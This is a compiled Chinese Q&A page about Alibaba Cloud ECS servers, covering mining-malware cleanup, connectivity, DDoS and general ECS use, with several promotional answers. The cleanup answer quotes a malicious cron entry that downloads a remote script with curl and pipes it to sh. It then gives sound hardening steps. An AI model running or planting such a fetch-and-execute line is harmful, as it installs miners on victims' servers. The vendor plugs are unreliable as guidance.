阿里雲ecs被挖礦

⑴ 阿里雲伺服器被挖礦了怎麼辦(純純電腦小白

1. 關閉訪問挖礦伺服器的訪問

iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.

2. chmod -x minerd ,取消掉執行許可權， 在沒有找到根源前，千萬不要刪除 minerd，因為刪除了，過一回會自動有生成一個。

3. pkill minerd ,殺掉進程

4. service stop crond 或者 crontab -r 刪除所有的執行計劃

5. 執行top，查看了一會，沒有再發現minerd 進程了。

6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。

下載腳本的語句：

*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件內容如下，感興趣的可以研究下：

View Code

解決minerd並不是最終的目的，主要是要查找問題根源，我的伺服器問題出在了redis服務了，黑客利用了redis的一個漏洞獲得了伺服器的訪問許可權，http://blog.jobbole.com/94518/然後就注入了病毒，下面是解決辦法和清除工作：

1. 修復 redis 的後門,

配置bind選項, 限定可以連接Redis伺服器的IP, 並修改redis的默認埠6379.
配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發」real user」，區分普通用戶和admin許可權，普通用戶將會被禁止運行某些命令，如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的賬號

3. 查看你的用戶列表，是不是有你不認識的用戶添加進來。 如果有就刪除掉.

⑵ 阿里雲無法訪問ECS雲伺服器怎麼解決

ECS連不上，可能是多種原因造成的，如以下場景，都可能造成：

1）操作系統出現問題

2）網路配置有問題

3）網路堵塞嚴重，導致連接中斷。

4）操作系統密碼被黑客攻陷

你可以登錄阿里雲管理控制台，了解具體情況，只是阿里雲管理控制台太笨重，筆者不是非常推薦。

筆者給你推薦一個很好用的第三方工具：行雲服務雲管家（yun.cloudbility.com）

你只需要登錄雲管家，通過你在阿里雲管理控制台中獲取的Access Key，將你的雲主機導入到雲管家中，然後有任何問題，都可以在雲管家中輕松解決。

舉個例子，一旦你覺得ECS連不上，你可以在雲管家中直接通過「阿里雲管理終端」獲取該ECS主機的桌面，這種桌面，既不消耗公網帶寬（它消耗的是阿里雲內網帶寬，這意味著即使網路堵塞嚴重，你也可以連上），也無論操作系統出現任何問題，都可以進入該主機的系統桌面，然後就可以方便你排錯了。

========

如果你要重啟ECS，或者你的操作系統密碼被黑客黑了，你也可以通過雲管家，輕松重啟，或者重置密碼。

========

你還可通過雲管家的體檢功能，看一下你的雲主機是否被黑客攻擊。

總之，阿里雲的ECS伺服器無法連接，可能是多種原因造成的，需要具體情況具體分析

⑶ ecs的三大資源是什麼

雲伺服器ElasticComputeService（ECS）是阿里雲提供的一種基礎雲計算服務。
使用雲伺服器ECS就像使用水、電、煤氣等資源一樣便捷、高效。您無需提前采購硬體設備，而是根據業務需要，隨時創建所需數量的雲伺服器ECS實例。在使用過程中，隨著業務的擴展，您可以隨時擴容磁碟、增加帶寬。如果不再需要雲伺服器，也能隨時釋放資源，節省費用。
相關概念
地域和可用區：是指ECS資源所在的物理位置。
鏡像：是指ECS實例運行環境的模板，一般包括操作系統和預裝的軟體。操作系統支持多種Linux發行版本和不同的Windows版本。
塊存儲：包括基於分布式存儲架構的雲盤和共享塊存儲，以及基於物理機本地硬碟的本地存儲。
快照：是指某一個時間點上一塊彈性塊存儲的數據備份。
專有網路：基於阿里雲構建的一個隔離的網路環境，專有網路之間邏輯上徹底隔離。更多信息，請參考專有網路VPC。
經典網路：統一部署在阿里雲公共基礎內，規劃和管理由阿里雲負責。
安全組：由同一地域內具有相同保護需求並相互信任的實例組成，是一種虛擬防火牆，用於設置不同實例的網路訪問控制。

⑷ 阿里雲允許用雲主機挖礦嗎

是可以的。很多挖礦項目都可以使用雲伺服器，例如最近火熱的Swarm bzz。但Swarm白皮書沒有提供挖礦的硬體配置推薦，然而目前，因為各類硬體采購價格高、到貨慢，然而時間不等人！綜合對比下來，針對BZZ挖礦，推薦雲伺服器！
像Swarm BZZ這樣的去中心化存儲的情況下，以太坊生態中的熱點數據每秒都在隨時被調用和存儲，所以除了CPU、內存和硬碟這三個主要的響應能力之外，還有一個要求寬頻傳輸速度。
使用雲伺服器來部署bzz節點，核心理由就是一個字「快」，節點早一分鍾上線，就能更早的獲取到頭礦！
經西部數碼上千bzz節點部署的實踐經驗證明，bzz節點需要較高的帶寬和超強的磁碟IO性能，以下是結合資源實際消耗情況合理搭配的配置。
4核CPU + 4G內存 + 100G SSD硬碟 + 20M帶寬。上述配置，可以部署一個節點。
如果需要部署多節點可以選擇多台這樣的雲伺服器，或者選擇更高配置的雲伺服器，如16核CPU + 24G內存 + 500G SSD硬碟 + 200M帶寬，可部署5-10個節點。

⑸ 阿里雲windows伺服器中了挖礦的病毒怎麼清理

光刪除沒用的，因為沒有解決好漏洞。
建議是重做系統，然後找護衛神給你做一下系統安全加固，把漏洞徹底堵住才有效果。

⑹ 阿里雲ECS伺服器對外攻擊，怎麼解決

伺服器被黑了，保存數據，重做系統。伺服器

⑺ 雲伺服器ECS是什麼啊

國內由於雲概念比較熱門兒，所以一般叫雲伺服器，其實，雲伺服器和ECS的含義有重復，它他們表達的是同一個意思，只不過一個是中文，一個是英文縮寫而已，不過它們在國內資訊網站上經常會連在一直用，有時候也把它稱為雲主機。
雲伺服器ecs都有哪些作用呢？
1、完全管理許可權：
對雲伺服器的操作系統有完全控制權，用戶可以通過連接管理終端自助解決系統問題，進行各項操作；
2、快照備份與恢復：
對雲伺服器的磁碟數據生成快照，用戶可使用快照回滾、恢復以往磁碟數據，加強數據安全；
3、自定義鏡像：
對已安裝應用軟體包的雲伺服器，支持自定義鏡像、數據盤快照批量創建伺服器，簡化用戶管理部署；
4、擁有API介面：
使用ECS API調用管理，通過安全組功能對一台或多台雲伺服器進行訪問設置，使開發使用更加方便。

⑻ 阿里雲ECS伺服器被DDoS無解，請問我該何去何從

其實DDoS的核心問題是發起DDoS的成本很低，而防護的的成本非常高。我所了解的，今年國內應該出現了多起超過200G的ddos攻擊。國內大部分公司都是扛不住的，當然一般沒有深仇大恨或者巨大的商業目的不會發起如此規模的攻擊。不過目前打掛一個普通網站有幾個G就可以了，攻擊成本只需要幾百塊，防護可能需要幾十倍，有的還不一定能防的住。以前我個人的網站被DDOS過，對方就一個G，然後我就被拔網線了。很多IDC出口才幾個G，一打就掛，幾次下來然後他們就讓你搬出機房。貌似阿里雲的提供的防護是5G。樓主被黑洞過，我感覺攻擊你的流量應該超過10G。自從阿里雲公開宣布提供5G免費DDoS防護，國內其他幾家做雲防護的廠商基本上都把DDoS防護的參數給抹去了，不敢正面比較。你可以了解下安全寶、加速樂的參數和價格情況。DDOS確實是目前互聯網非常大的威脅。防護ddos並不是樓主理解的封IP那麼簡單，要封只能在電信運營商那頭在攻擊源頭封這個IP的流量。如果運營商不封，攻擊流量就像洪水一樣湧向你的伺服器地址，IDC及阿里雲是無法阻擋這些流量不湧向他們的。不管怎麼樣，這些流量是涌進了IDC的大院了，接下來的目標是湧向一個門。IDC要麼清洗這些流量繼續讓被攻擊的網站保持正常訪問，要麼黑洞。ddos防護是要在這些洪水裡面分析出那些是正常訪問，哪些是惡意攻擊，而這個清洗能力是有限的，阿里雲提供的是5G，超出太多應該就黑洞了，無限制清洗成本很高也會影響其他阿里雲的用戶。
另外樓主可能誤解了那個可用性了。其實你網站被攻擊的時候虛擬機還是在工作的，只是網路被阻塞了。

⑼ 阿里雲ECS伺服器CPU佔用較高時，該如何處理

這種情況可以考慮是被挖礦了，可以找到雲市場雲頂雲尋求幫助，一般這種情況會讓工程師進行排查找出問題所在，然後再進行修理，大概的時間一般是三天以內

⑽ 申請了一個ECS，除了建站還能做什麼呢

這是什麼樣的配置？處理能力弱，內存小，磁碟很小（磁碟IO還是很漂亮的哦，對不起，我還是沒有取笑它的沖動），帶寬小（最大下載速度是120KB / s） 。這聽起來不像是會起作用的。不是真的，而是看它的優點：

不用電，24 * 365在線。即使是最小的計算機單元，黑莓派，也需要5w。

最後一個，我不會輕易告訴他們的普通人。嗯，阿里雲的帶寬上行是不限制（准確來說是獨立於下行帶寬的很寬松的限制）的，這是啥意思呢？意思就是下載東西的速度很快……